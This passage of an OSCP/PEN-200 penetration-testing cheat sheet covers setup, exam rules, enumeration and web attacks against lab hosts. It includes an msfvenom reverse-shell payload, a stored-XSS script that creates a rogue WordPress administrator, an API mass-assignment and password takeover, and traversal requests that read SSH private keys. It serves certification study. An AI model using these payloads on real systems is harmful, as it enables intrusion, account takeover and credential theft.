OSCP Cheat Sheet: Metasploit, msfvenom and the PEN-200 toolset

OSCP Cheat Sheet: Metasploit, msfvenom and the PEN-200 toolset


1. Tooling Setup

Theory: Tooling

Most of what PEN-200 runs ships with Kali. A handful of binaries come from GitHub releases, and several Windows tools (mimikatz, PowerView, Rubeus, SharpHound, PsLoggedon, kerbrute) sit pre-staged in C:\Tools on the lab machines; on any other target you serve your own copy from Kali. Finish the setup before the exam starts: update exploitdb, install SecLists, create one folder per target and keep a file server and a listener ready to go.

Packages the Course Installs

# SecLists: bigger wordlists for DNS, web and password attacks (installs to /usr/share/seclists)
kali@kali:~$ sudo apt install seclists

# gobuster: dir, dns and fuzz modes
kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install gobuster

# local Exploit-DB copy for searchsploit; update before the exam, works offline afterwards
kali@kali:~$ sudo apt update && sudo apt install exploitdb
# success cue: Setting up exploitdb (20220526-0kali1) ...

# mingw-w64: cross-compile Windows C exploits on Kali (i686-w64-mingw32-gcc)
kali@kali:~$ sudo apt install mingw-w64

# WsgiDAV: anonymous WebDAV share for the Windows library file attack
kali@kali:~$ sudo apt install python3-wsgidav

# ncat: proxy-aware netcat (Kali nc has no proxy support; needed for ssh ProxyCommand through SOCKS)
kali@kali:~$ sudo apt install ncat

# SingleFile CLI and its requirements: clone a rendered web page into one HTML file (phishing module)
kali@kali:~$ sudo apt install nodejs npm chromium -y
kali@kali:~$ sudo npm install -g single-file-cli

# Gitleaks: secret scanning of cloned repositories
kali@kali:~$ sudo apt install -y gitleaks

# AWS modules only (not in the exam): AWS CLI, cloud_enum, pacu
kali@kali:~$ sudo apt install -y awscli cloud-enum pacu

Binaries Pulled from GitHub

# SigmaPotato: the course's SeImpersonatePrivilege exploit (Windows privesc module)
kali@kali:~$ wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe

# chisel for Linux targets: Kali's build (go1.20.7) fails on older glibc ("GLIBC_2.32 not found");
# the official 1.8.1 release is built with Go 1.19 and runs
kali@kali:~$ chisel -h
Version: 1.8.1-0kali2 (go1.20.7)
kali@kali:~$ wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
kali@kali:~$ gunzip chisel_1.8.1_linux_amd64.gz
kali@kali:~$ sudo cp ./chisel /var/www/html

Kali Paths Used in the Course

WhatPath
rockyou/usr/share/wordlists/rockyou.txt
dirb wordlists/usr/share/wordlists/dirb/common.txt, big.txt, small.txt, others/names.txt
fasttrack/usr/share/wordlists/fasttrack.txt
SecLists/usr/share/seclists
dnsenum wordlist/usr/share/dnsenum/dns.txt
hashcat rules/usr/share/hashcat/rules/ (best64.rule, best66.rule, rockyou-30000.rule)
NSE scripts and index/usr/share/nmap/scripts/, script.db
nmap top-port ranking/usr/share/nmap/nmap-services
Exploit-DB archive/usr/share/exploitdb/ (exploits, shellcodes, files_exploits.csv)
Web shells/usr/share/webshells/ (asp, aspx, cfm, jsp, laudanum, perl, php)
PowerCat/usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1
winPEAS/usr/share/peass/winpeas/winPEASx64.exe
linPEAS/usr/share/peass/linpeas/linpeas.sh
PowerUp/usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1
nc.exe, plink.exe/usr/share/windows-resources/binaries/
unix-privesc-check/usr/bin/unix-privesc-check
Metasploit resource scripts/usr/share/metasploit-framework/scripts/resource/
Metasploit DB config/usr/share/metasploit-framework/config/database.yml
Apache web root/var/www/html/

Kali Tools by Course Area

AreaTools the course runs
Reconwhois, host, dnsrecon, dnsenum, gobuster dns, nmap, nc, nbtscan, enum4linux, onesixtyone, snmpwalk
WebBurp Suite Community, curl, gobuster dir, wpscan, cewl, patator, pwsh (encode PowerShell)
SQLmysql client, impacket-mssqlclient, sqlmap (labs only)
Passwordshydra, hashcat, john, ssh2john, keepass2john, responder, impacket-ntlmrelayx
Windows accessxfreerdp, evil-winrm, smbclient, crackmapexec, impacket-psexec, impacket-wmiexec, impacket-secretsdump
Active Directorybloodhound + neo4j, impacket-GetNPUsers, impacket-GetUserSPNs
Tunnelsssh, socat, sshuttle, chisel, dnscat2-server, ncat
Exploit devsearchsploit, i686-w64-mingw32-gcc, wine, msfvenom
Metasploitmsfconsole, msfdb

Common Extras Not Used in the Course

# not in the PEN-200 text: well-known Kali alternatives; netexec is the maintained successor of crackmapexec
# nikto is explicitly allowed in the exam guide
kali@kali:~$ sudo apt install -y feroxbuster ffuf nikto netexec

Attack Box Habits

# one folder per target keeps exploits, loot and notes apart (the course uses ~/beyond/<host>)
kali@kali:~$ mkdir -p ~/exam/<TARGET>/{loot,exploits,scans}

# serve the current directory for transfers (course uses ports 80 and 8000)
kali@kali:~$ python3 -m http.server 80

# or Apache with /var/www/html as web root, then watch who fetched what
kali@kali:~$ sudo systemctl start apache2
kali@kali:~$ tail -f /var/log/apache2/access.log

# reverse shell listener
kali@kali:~$ nc -nvlp 4444

# pull a file onto a Windows target from the Kali web server
PS C:\Users\<USER>> iwr -uri http://<LHOST>:8000/winPEASx64.exe -Outfile winPEAS.exe

# app uses a hostname in links and redirects: map it in /etc/hosts or the app breaks
kali@kali:~$ echo "<TARGET> offsecwp" | sudo tee -a /etc/hosts

# RDP: xfreerdp handles NLA (rdesktop fails against non-domain Windows 11 with NLA)
kali@kali:~$ xfreerdp /u:<USER> /p:<PASS> /v:<TARGET>

Note-Taking and Screenshots

# Obsidian AppImage as used in the course (CherryTree ships with Kali as the alternative)
kali@kali:~$ wget https://github.com/obsidianmd/obsidian-releases/releases/download/v0.14.2/Obsidian-0.14.2.AppImage
kali@kali:~$ chmod +x Obsidian-0.14.2.AppImage
kali@kali:~$ ./Obsidian-0.14.2.AppImage
# per finding note: app name, URL, request type (GET/POST + manual changes), issue (CVE/impact), exact PoC payload
# screenshots (Flameshot or Kali Screenshot): one concept each, legible, shows host/URL, 8 to 10 word caption

2. Exam Rules That Shape Tool Choice

Theory: Exam Rules

The OSCP+ exam is 3 standalone machines plus a 3-machine Active Directory set that starts from a standard domain user. The tool rules decide your workflow more than any technique: plain shells from msfvenom are fine everywhere, but Metasploit modules and Meterpreter can touch one machine only. Proof only counts when read in an interactive shell and screenshotted with the target IP.

Scoring and Time

ItemValue
Standalone machines3 x 20 points: 10 for local.txt, 10 for proof.txt
AD set40 points, assumed breach: machine 1 = 10, machine 2 = 10, DC = 20; partial points awarded
Pass mark70 of 100, no bonus points
Passing combinations40 AD + 3 local; 40 AD + 2 local + 1 proof; 20 AD + 3 local + 2 proof; 10 AD + 3 full standalones
Exam time23 h 45 min; report upload within 24 h after the exam ends
Reverts24, limit can be reset once; click revert once and wait
Grading orderorder the machines appear in the report

Metasploit One-Box Rule

Allowed on every targetOnly on the one chosen target
msfvenom with plain shell payloads (windows/x64/shell_reverse_tcp, linux/x64/shell_reverse_tcp)auxiliary, exploit and post modules
exploit/multi/handler catching plain shellsMeterpreter payload (even when generated by msfvenom)
netcat, manual exploits, impacketrunning check against a host (counts as use, choice is locked)
# exam: allowed on all targets (msfvenom/multi/handler) - plain shell, not meterpreter
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > reverse.exe

# exam: allowed on all targets (msfvenom/multi/handler) - payload must match the one in the binary
kali@kali:~$ sudo msfconsole -q
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
msf6 exploit(multi/handler) > run

# non-Metasploit alternative for any plain shell
kali@kali:~$ nc -nvlp <LPORT>
  • No Metasploit or Meterpreter pivoting (autoroute, socks_proxy): that touches more than one machine. Use SSH, chisel or socat (sections 13 and 14).
  • The same limits apply to Armitage, Cobalt Strike and Metasploit Community.

Forbidden and Allowed Tools

ForbiddenAllowed examples
IP/ARP/DNS/NBNS spoofingnmap including NSE
Commercial tools: Metasploit Pro, Burp ProBurp Suite Community
Automatic exploitation: db_autopwn, browser_autopwn, sqlmap, sqlninjanikto, dirbuster
Mass scanners: Nessus, Nexpose, OpenVAS, Canvas, Core Impact, SAINTmsfvenom, multi/handler
AI chatbots (KAI, ChatGPT, YouChat)Discord for searching, not for asking help

Proof Files

# Linux: interactive shell only (web shells do not count), read from the original location,
# file contents and IP in the same screenshot
root@target:~# cat /root/proof.txt
root@target:~# ip addr

# Windows: proof.txt on the Administrator desktop; SYSTEM, Administrator or an admin-group user
C:\Users\Administrator\Desktop> type proof.txt
C:\Users\Administrator\Desktop> ipconfig

# local.txt sits where the unprivileged user can read it; find it if it is not in the home folder
user@target:~$ find / -name local.txt 2>/dev/null
PS C:\> Get-ChildItem -Path C:\Users -Include local.txt -File -Recurse -ErrorAction SilentlyContinue
  • Paste both proof values into the control panel before the exam ends; it does not tell you whether they are correct.
  • Do not download files or source from the exam network unless needed to compromise a machine, and delete them afterwards.

Report Packaging

# PDF named OSCP-OS-XXXXX-Exam-Report.pdf inside a 7z created on Kali, no password, under 200 MB
kali@kali:~$ 7z a OSCP-OS-XXXXX-Exam-Report.7z OSCP-OS-XXXXX-Exam-Report.pdf

# compare with the MD5 shown after upload, then click Submit File and wait for the confirmation mail
kali@kali:~$ md5sum OSCP-OS-XXXXX-Exam-Report.7z
Report ruleWhat to include
Unmodified public exploitURL only
Modified exploitmodified code, original URL, shellcode generation command, highlighted changes, why each change
Every targetall steps, commands and console output so a competent reader can reproduce it
Submissionfinal; missing screenshots cannot be added later
Structure (course)executive summary, testing environment considerations, technical summary, findings and recommendations, appendices
Wording"was unable to" instead of absolute claims such as "impossible"

3. Information Gathering

Theory: Information Gathering

The course lifecycle is scope, information gathering, vulnerability detection, foothold, privilege escalation, lateral movement, reporting. Information gathering never stops: every new host, shell or subnet gets enumerated again. In the exam almost everything is active (nmap, SMB, SMTP, SNMP, web); passive OSINT matters in the labs and on real jobs. Start broad (sweep, top ports), run a full TCP scan in the background, and narrow each scan on what the previous one showed. Do not skip UDP.

Exam Scan Workflow

# 1. host discovery sweep (ICMP echo, TCP SYN 443, TCP ACK 80, ICMP timestamp), greppable output
kali@kali:~$ nmap -v -sn <RANGE> -oG ping-sweep.txt
kali@kali:~$ grep Up ping-sweep.txt | cut -d " " -f 2

# 2. single-port sweep: more accurate than a ping sweep for finding web servers
kali@kali:~$ nmap -p 80 <RANGE> -oG web-sweep.txt
kali@kali:~$ grep open web-sweep.txt | cut -d" " -f2

# 3. top 20 ports with OS, versions, default scripts and traceroute across the range
kali@kali:~$ nmap -sT -A --top-ports=20 <RANGE> -oG top-port-sweep.txt

# 4. full TCP range per host; start it early and keep enumerating while it runs (about 4 MB per host)
kali@kali:~$ nmap -p 1-65535 <TARGET>

# 5. versions and default scripts on what is open (-sV alone = plain service scan)
kali@kali:~$ nmap -sT -A <TARGET>

# 6. UDP: SNMP 161, NTP 123, DNS 53, LDAP 389 hide here; results are unreliable but cheap to check
kali@kali:~$ sudo nmap -sU <TARGET>
kali@kali:~$ sudo nmap -sU -sS <TARGET>

# host blocks ICMP and looks down: skip host discovery
kali@kali:~$ nmap -Pn <TARGET>

Nmap and Netcat Scan Options

# default: top 1000 TCP ports; SYN scan when root, connect scan otherwise
kali@kali:~$ nmap <TARGET>

# SYN "stealth" scan (raw sockets, needs sudo; modern firewalls still log it)
kali@kali:~$ sudo nmap -sS <TARGET>

# TCP connect scan: no root needed, required through some proxies (proxychains), slower
kali@kali:~$ nmap -sT <TARGET>

# OS fingerprint and force a guess (TTL, window size; firewalls can make it wrong)
kali@kali:~$ sudo nmap -O <TARGET> --osscan-guess
# Running (JUST GUESSING): Microsoft Windows 2019|2012|10|2016|2022|7|2008|8.1 (93%)

# NSE script by name, and read a script's categories before running it
kali@kali:~$ nmap --script http-headers <TARGET>
kali@kali:~$ nmap --script-help http-headers

# page titles across hosts (lab hint: find the "Under Construction" page)
kali@kali:~$ nmap -p 80 --script http-title <RANGE>

# how top ports are ranked: service, port/proto, open frequency
kali@kali:~$ cat /usr/share/nmap/nmap-services

# no scanner on the box: TCP connect scan with nc (-w 1 timeout, -z no data)
kali@kali:~$ nc -nvv -w 1 -z <TARGET> 3388-3390
# (UNKNOWN) [<TARGET>] 3389 (ms-wbt-server) open

# UDP scan with nc (closed = ICMP port unreachable; firewalled ports can look open)
kali@kali:~$ nc -nv -u -z -w 1 <TARGET> 120-123
Ports open togetherMeaning
53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269 (+ 5985, 9389, 47001)Windows Domain Controller
5985 / 47001WinRM (evil-winrm if you have creds)
161/udpSNMP

Port Scanning from Windows (Living off the Land)

# one TCP port plus ICMP from a compromised or client-provided Windows host
PS C:\Users\student> Test-NetConnection -Port 445 <TARGET>
# TcpTestSucceeded : True

# first 1024 ports with a TcpClient socket (lighter than Test-NetConnection)
PS C:\Users\student> 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<TARGET>", $_)) "TCP port $_ is open"} 2>$null
# TCP port 88 is open

Passive Recon: Whois, Dorks, Code, Shodan

# forward whois: registrant/admin/tech names and name servers (TCP 43; -h = whois server, the lab runs its own)
kali@kali:~$ whois <DOMAIN> -h <WHOIS_SERVER>

# reverse whois on an IP: hosting provider, netblock, CIDR
kali@kali:~$ whois <IP> -h <WHOIS_SERVER>
# Google dorks the course uses (GHDB and DorkSearch for more)
site:megacorpone.com
site:megacorpone.com filetype:txt
site:megacorpone.com -filetype:html
site:megacorpone.com -www
site:megacorpone.com inurl:"admin"
site:megacorpone.com ext:env | ext:yaml | ext:json | ext:xml
intitle:"index of" "parent directory"
# GitHub code search (needs a free account): found xampp.users with a user and hash
path:users
# Shodan: hosts, ports, banners, versions, published vulns
hostname:megacorpone.com
SourceWhat it gives
robots.txt (dork filetype:txt)hidden paths such as /nanites.php
Netcraft / Wappalyzer lookupsubdomains, site technologies, hosting
Gitleaks / Gitrob (API token)secrets in repos, AWS keys; manual review still finds more
Security Headersmissing CSP / X-Frame-Options = weak hardening
Qualys SSL LabsTLS 1.0/1.1, weak CBC/SHA1 suites, Heartbleed, Poodle
Staff pages, social medianames and emails for user lists and pretexts

DNS Enumeration

# A record, then MX (lowest number = preferred) and TXT records
kali@kali:~$ host www.megacorpone.com
kali@kali:~$ host -t mx megacorpone.com
kali@kali:~$ host -t txt megacorpone.com

# invalid names return NXDOMAIN: the basis for brute forcing
kali@kali:~$ host idontexist.megacorpone.com
# Host idontexist.megacorpone.com not found: 3(NXDOMAIN)

# forward brute force with a wordlist (SecLists for bigger lists)
kali@kali:~$ for ip in $(cat list.txt); do host $ip.megacorpone.com; done

# reverse PTR sweep over a discovered range, drop the misses
kali@kali:~$ for ip in $(seq 64 79); do host 167.114.21.$ip; done | grep -Ev "not found|timed out"

# standard records (SOA, NS, MX, A, TXT, SRV, bind version), then brute force with -D wordlist
kali@kali:~$ dnsrecon -d megacorpone.com -t std
kali@kali:~$ dnsrecon -d megacorpone.com -D ~/list.txt -t brt

# zone transfer attempts, all A records, class C netranges
kali@kali:~$ dnsenum megacorpone.com

# gobuster dns brute force (gobuster newer than 3.6 takes --do instead of -d)
kali@kali:~$ gobuster dns -d megacorpone.com -w wordlist.txt -t 10
# Found: admin.megacorpone.com
# Windows living off the land: plain lookup, then a record type against a chosen DNS server
C:\Users\student>nslookup mail.megacorptwo.com
C:\Users\student>nslookup -type=TXT info.megacorptwo.com 192.168.50.151
# "DNS request timed out" and "Server: UnKnown" before the answer are normal
  • The course also feeds company data to an LLM for dorks and subdomain wordlists. AI chatbots are forbidden in the exam; use SecLists there.

SMB Enumeration

# find NetBIOS/SMB hosts
kali@kali:~$ nmap -v -p 139,445 -oG smb.txt <RANGE>

# NetBIOS names (often describe the host role); -r uses source UDP port 137
kali@kali:~$ sudo nbtscan -r 192.168.50.0/24

# list SMB NSE scripts (enum-shares, enum-users, enum-domains, enum-groups, enum-sessions, smb-brute)
kali@kali:~$ ls -1 /usr/share/nmap/scripts/smb*

# OS, computer name, domain, forest, FQDN (SMBv1 only; can report Windows 11 as Windows 10)
kali@kali:~$ nmap -v -p 139,445 --script smb-os-discovery <TARGET>

# local users and share comments (used in the module labs)
kali@kali:~$ enum4linux -a <TARGET>
# Windows: list shares including admin shares (ADMIN$, C$, IPC$, NETLOGON, SYSVOL on a DC)
C:\Users\student>net view \\dc01 /all

SMTP Enumeration

# VRFY a user by hand: 252 = user likely exists, 550 = unknown (EXPN asks for list members)
kali@kali:~$ nc -nv <TARGET> 25
VRFY root
# 252 2.0.0 root
VRFY idontexist
# 550 5.1.1 <idontexist>: Recipient address rejected: User unknown in local recipient table
# course VRFY script (Listing 55); run it once per candidate username
kali@kali:~$ cat > vrfy.py <<'EOF'
#!/usr/bin/python

import socket
import sys

if len(sys.argv) != 3:
        print("Usage: vrfy.py <username> <target_ip>")
        sys.exit(0)

# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the Server
ip = sys.argv[2]
connect = s.connect((ip,25))

# Receive the banner
banner = s.recv(1024)

print(banner)

# VRFY a user
user = (sys.argv[1]).encode()
s.send(b'VRFY ' + user + b'\r\n')
result = s.recv(1024)

print(result)

# Close the socket
s.close()
EOF
kali@kali:~$ python3 vrfy.py root <TARGET>
# b'252 2.0.0 root\r\n'
# from Windows: port check, then telnet (installing TelnetClient needs admin; otherwise copy telnet.exe over)
PS C:\Users\student> Test-NetConnection -Port 25 <TARGET>
PS C:\Windows\system32> dism /online /Enable-Feature /FeatureName:TelnetClient
C:\Windows\system32>telnet <TARGET> 25

SNMP Enumeration

OIDData
1.3.6.1.2.1.25.1.6.0System processes
1.3.6.1.2.1.25.4.2.1.2Running programs
1.3.6.1.2.1.25.4.2.1.4Process paths
1.3.6.1.2.1.25.2.3.1.4Storage units
1.3.6.1.2.1.25.6.3.1.2Installed software
1.3.6.1.4.1.77.1.2.25Windows user accounts
1.3.6.1.2.1.6.13.1.3TCP local (listening) ports
# find SNMP hosts (UDP 161), open ports only
kali@kali:~$ sudo nmap -sU --open -p 161 <RANGE> -oG open-snmp.txt

# brute force community strings across a range
kali@kali:~$ echo public > community
kali@kali:~$ echo private >> community
kali@kali:~$ echo manager >> community
kali@kali:~$ for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips
kali@kali:~$ onesixtyone -c community -i ips

# walk the whole tree (contact email, hostname); -t 10 = 10 s timeout
kali@kali:~$ snmpwalk -c public -v1 -t 10 <TARGET>

# users, running processes (AV, vulnerable apps), installed software, listening ports incl. internal-only ones
kali@kali:~$ snmpwalk -c public -v1 <TARGET> 1.3.6.1.4.1.77.1.2.25
kali@kali:~$ snmpwalk -c public -v1 <TARGET> 1.3.6.1.2.1.25.4.2.1.2
kali@kali:~$ snmpwalk -c public -v1 <TARGET> 1.3.6.1.2.1.25.6.3.1.2
kali@kali:~$ snmpwalk -c public -v1 <TARGET> 1.3.6.1.2.1.6.13.1.3

# hex strings unreadable: -Oa translates them to ASCII
kali@kali:~$ snmpwalk -c public -v1 <TARGET> -Oa

4. Vulnerability Scanning

Theory: Vulnerability Scanning

A scanner does host discovery, port scanning, service and version detection, then matches versions against a vulnerability database (NVD/CVE, scored with CVSS). A version match is a lead, not proof: backported fixes and wrong version detection cause false positives, rate limiting and dropped ICMP cause false negatives. In the exam Nessus and every other mass scanner is forbidden, while nmap NSE scripts, including the vuln category, are allowed. Run NSE for leads, then verify each one by hand.

NSE Vulnerability Scripts

# list vuln-category scripts with their categories; avoid intrusive/dos/exploit on fragile services
kali@kali:~$ cd /usr/share/nmap/scripts/
kali@kali:/usr/share/nmap/scripts$ cat script.db | grep "\"vuln\""

# run every vuln script on a port; vulners maps versions to CVEs, *EXPLOIT* marks public PoCs
# vulners returns nothing without successful -sV service detection
kali@kali:~$ sudo nmap -sV -p 443 --script "vuln" <TARGET>
# | CVE-2021-41773 4.3 https://vulners.com/cve/CVE-2021-41773
# --script also takes a comma list, a Boolean expression, a wildcard name or an absolute path

Adding a Third-Party NSE Script

# search "<CVE> nse", read the code first (third-party scripts can be malicious), install with standard naming
kali@kali:~$ sudo cp /home/kali/Downloads/http-vuln-cve-2021-41773.nse /usr/share/nmap/scripts/http-vuln-cve2021-41773.nse
kali@kali:~$ sudo nmap --script-updatedb
# NSE: Script Database updated successfully.

# run it with service detection
kali@kali:~$ sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" <TARGET>
# | State: VULNERABLE
# | Verify arbitrary file read: https://<TARGET>:443/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

# confirm by hand (lab tip: switch https to http but keep port 443)
kali@kali:~$ curl http://<TARGET>:443/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Nessus (Labs Only, Forbidden in the Exam)

# exam: Nessus is a forbidden mass vulnerability scanner; labs only
# the Tenable checksum button copies only the hash: add the filename yourself, same folder as the .deb
kali@kali:~/Downloads$ echo "<SHA256> Nessus-10.5.0-debian10_amd64.deb" > sha256sum_nessus
kali@kali:~/Downloads$ sha256sum -c sha256sum_nessus
kali@kali:~/Downloads$ sudo apt install ./Nessus-10.5.0-debian10_amd64.deb
kali@kali:~/Downloads$ sudo systemctl start nessusd.service
# UI at https://127.0.0.1:8834 (self-signed cert); on failure check: systemctl status nessusd.service

# Essentials 5-IP limit used up (a VPN reconnect changed the third octet): wipe and re-register
kali@kali:~$ sudo apt purge nessus && sudo rm -rf /opt/nessus
# templates: Basic Network Scan (unauthenticated), Credentialed Patch Audit (SSH + sudo / SMB + WMI),
# Advanced Dynamic Scan (filter plugins by CVE, family or ID); every hit is version-based, verify by hand

5. Web Application Attacks

Theory: Web Application Attacks

The course runs black-box web tests: fingerprint the server, brute force paths, proxy everything through Burp, read source and headers, then test every parameter that takes a file name, a command or user-controlled text. Identify the stack (OS, web server, language, database) before choosing payloads: the bug class is language independent, the payload is not. Once a candidate works in the browser, switch to curl or Burp Repeater, because the browser re-renders and mangles output.

Web Recon: Fingerprint and Brute Force Paths

# server software and version
kali@kali:~$ sudo nmap -p80 -sV <TARGET>

# first pass at paths: admin pages, listable directories, app folders
kali@kali:~$ sudo nmap -p80 --script=http-enum <TARGET>

# directory brute force; 403 = exists but forbidden, 301/302 = redirect; -t 5 for less noise (default 10)
kali@kali:~$ gobuster dir -u <TARGET> -w /usr/share/wordlists/dirb/common.txt -t 5

# add file extensions with -x (client-side recon uses -x pdf to find documents)
kali@kali:~$ gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/common.txt -x pdf

# robots.txt (and sitemap files): disallowed paths are often the interesting ones
kali@kali:~$ curl http://<TARGET>/robots.txt

# response headers: Server, X-Powered-By, X-Aspnet-Version, x-amz-cf-id (CloudFront)
kali@kali:~$ curl -i http://<TARGET>/

# WordPress: enumerate plugins with aggressive detection (Assembling the Pieces module)
kali@kali:~$ wpscan --url http://<TARGET> --enumerate p --plugins-detection aggressive -o websrv1/wpscan

# not in the course text, allowed in the exam: nikto baseline
kali@kali:~$ nikto -h http://<TARGET>
WhereWhat to look for
URL extensions.php, .jsp, .do, .aspx -> backend language; routes hide extensions
Page footer, sourceapp name and version (qdPM 9.1 example in section 8)
Debugger (Pretty print {})JS libraries and versions, comments, client-side controls
Inspector, Network toolhidden form fields, response headers per request
Storage > CookiesHttpOnly and Secure flags (decides the XSS approach); Web Console is Ctrl+Shift+K

Burp Suite Community Setup

# start Burp (temporary project, Burp defaults); proxy listener 127.0.0.1:8080; JRE warning is harmless
kali@kali:~$ burpsuite
# Firefox: about:preferences#general -> Network Settings -> Manual proxy 127.0.0.1 port 8080, all protocols
# silence detectportal.firefox.com: about:config -> network.captive-portal-service.enabled = false
# browser hangs = Intercept is on; closing Burp while Firefox still points at it breaks browsing
# HTTPS interception needs the Burp CA certificate in the browser

# send curl through Burp so requests land in HTTP History and Target > Site map
kali@kali:~$ curl -i http://<TARGET>/ --proxy 127.0.0.1:8080

Intruder login brute force (Community edition is throttled but works):

  1. HTTP History, right-click the login POST, Send to Intruder.
  2. Positions: Clear, select the password value, Add.
  3. Payloads: Simple list, paste the wordlist (head /usr/share/wordlists/rockyou.txt or a site-specific list).
  4. Start Attack, then look for the request with a different status code or length.
  5. Same approach for short keyspaces such as a 4-digit SMS code.

API Enumeration and Abuse

# versioned API paths: pattern file where {GOBUSTER} = each wordlist word
kali@kali:~$ printf '{GOBUSTER}/v1\n{GOBUSTER}/v2\n' > pattern
kali@kali:~$ gobuster dir -u http://<TARGET>:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
# /books/v1 (Status: 200)  /users/v1 (Status: 200)  /ui (Status: 308) = API documentation

# query an endpoint with headers: user list, emails, admin username
kali@kali:~$ curl -i http://<TARGET>:5002/users/v1

# brute force properties under a known user; 405 = path exists but wrong method (curl defaults to GET)
kali@kali:~$ gobuster dir -u http://<TARGET>:5002/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
kali@kali:~$ curl -i http://<TARGET>:5002/users/v1/admin/password
# HTTP/1.0 405 METHOD NOT ALLOWED

# an app-level 404 ("User not found") still proves the endpoint exists; POST JSON to learn the format
kali@kali:~$ curl -i http://<TARGET>:5002/users/v1/login
kali@kali:~$ curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: application/json' http://<TARGET>:5002/users/v1/login
# "Password is not correct for the given username."

# registration: verbose errors name the required fields; an extra "admin" key = mass assignment privesc
kali@kali:~$ curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type: application/json' http://<TARGET>:5002/users/v1/register
# "'email' is a required property"
kali@kali:~$ curl -d '{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H 'Content-Type: application/json' http://<TARGET>:5002/users/v1/register

# log in as the new user to get a JWT (every login issues a new token)
kali@kali:~$ curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type: application/json' http://<TARGET>:5002/users/v1/login

# POST to the password endpoint gives 405; PUT (or PATCH) replaces the value, no output = success
kali@kali:~$ curl -X 'PUT' \
  'http://<TARGET>:5002/users/v1/admin/password' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: OAuth <JWT>' \
  -d '{"password": "pwned"}'

# confirm the takeover
kali@kali:~$ curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: application/json' http://<TARGET>:5002/users/v1/login
# lab quirk: listings use 5002 while gobuster shows 5001; use whatever port the API listens on

Cross-Site Scripting (XSS)

# inject into every reflected or stored input, including logged headers (User-Agent, X-Forwarded-For)
# and see which characters come back unencoded
< > ' " { } ;
# between HTML tags you need < > and your own script tag; inside a JS block quotes and ; may be enough
<script>alert(42)</script>
# stored XSS through a logged header (WordPress Visitors plugin stores User-Agent unsanitized)
kali@kali:~$ curl -i http://offsecwp --user-agent "<script>alert(42)</script>" --proxy 127.0.0.1:8080
# fires when the admin opens /wp-admin/admin.php?page=visitors-app%2Fadmin%2Fstart.php

Cookies without HttpOnly can be stolen with JavaScript. WordPress session cookies are HttpOnly, so the course makes the admin's browser create a new administrator instead (CSRF through XSS):

// step 1: fetch the WordPress nonce from the new-user page (runs in the admin's browser)
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

// step 2: create an administrator with that nonce
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
// step 3: minify the code above (JS Compress), then turn it into char codes in the browser console
function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }

let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)
# step 4: deliver through the logged header; char codes avoid bad characters in the header
kali@kali:~$ curl -i http://offsecwp --user-agent "<script>eval(String.fromCharCode(<CHARCODES>))</script>" --proxy 127.0.0.1:8080
# step 5: admin opens the Visitors dashboard; the entry shows an empty User-Agent (expected),
# Users now lists "attacker" as administrator; next: upload a plugin with a web shell, then a reverse shell

Directory Traversal

# file-valued parameter (?page=, ?file=, ?language=en.html): /etc/passwd with plenty of ../ (extras are ignored)
# course lab path: http://mountaindesserts.local/meteor/index.php?page=
kali@kali:~$ curl http://<TARGET>/index.php?page=../../../../../../../../../etc/passwd

# users with home folders in /etc/passwd: try their SSH keys (use curl; the browser mangles the key)
kali@kali:~$ curl http://<TARGET>/index.php?page=../../../../../../../../../home/<USER>/.ssh/id_rsa

# save BEGIN..END lines to a file; ssh ignores a key that is too open ("Permissions 0644 ... too open")
kali@kali:~$ chmod 400 dt_key
kali@kali:~$ ssh -i dt_key -p 2222 <USER>@<TARGET>

# plain ../ filtered (404): URL-encode the dots (Apache 2.4.49, CVE-2021-41773)
kali@kali:~$ curl http://<TARGET>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

# known app traversal (Grafana CVE-2021-43798 on 3000): --path-as-is keeps curl from normalising ../
kali@kali:~$ curl --path-as-is http://<TARGET>:3000/<plugin traversal path>
Windows fileWhy
C:\Windows\System32\drivers\etc\hostsreadable by every user: confirms the traversal
C:\inetpub\wwwroot\web.configIIS config, may hold usernames and passwords
C:\inetpub\logs\LogFiles\W3SVC1\IIS logs
C:\xampp\apache\logs\access.logXAMPP Apache log, poisonable on Windows
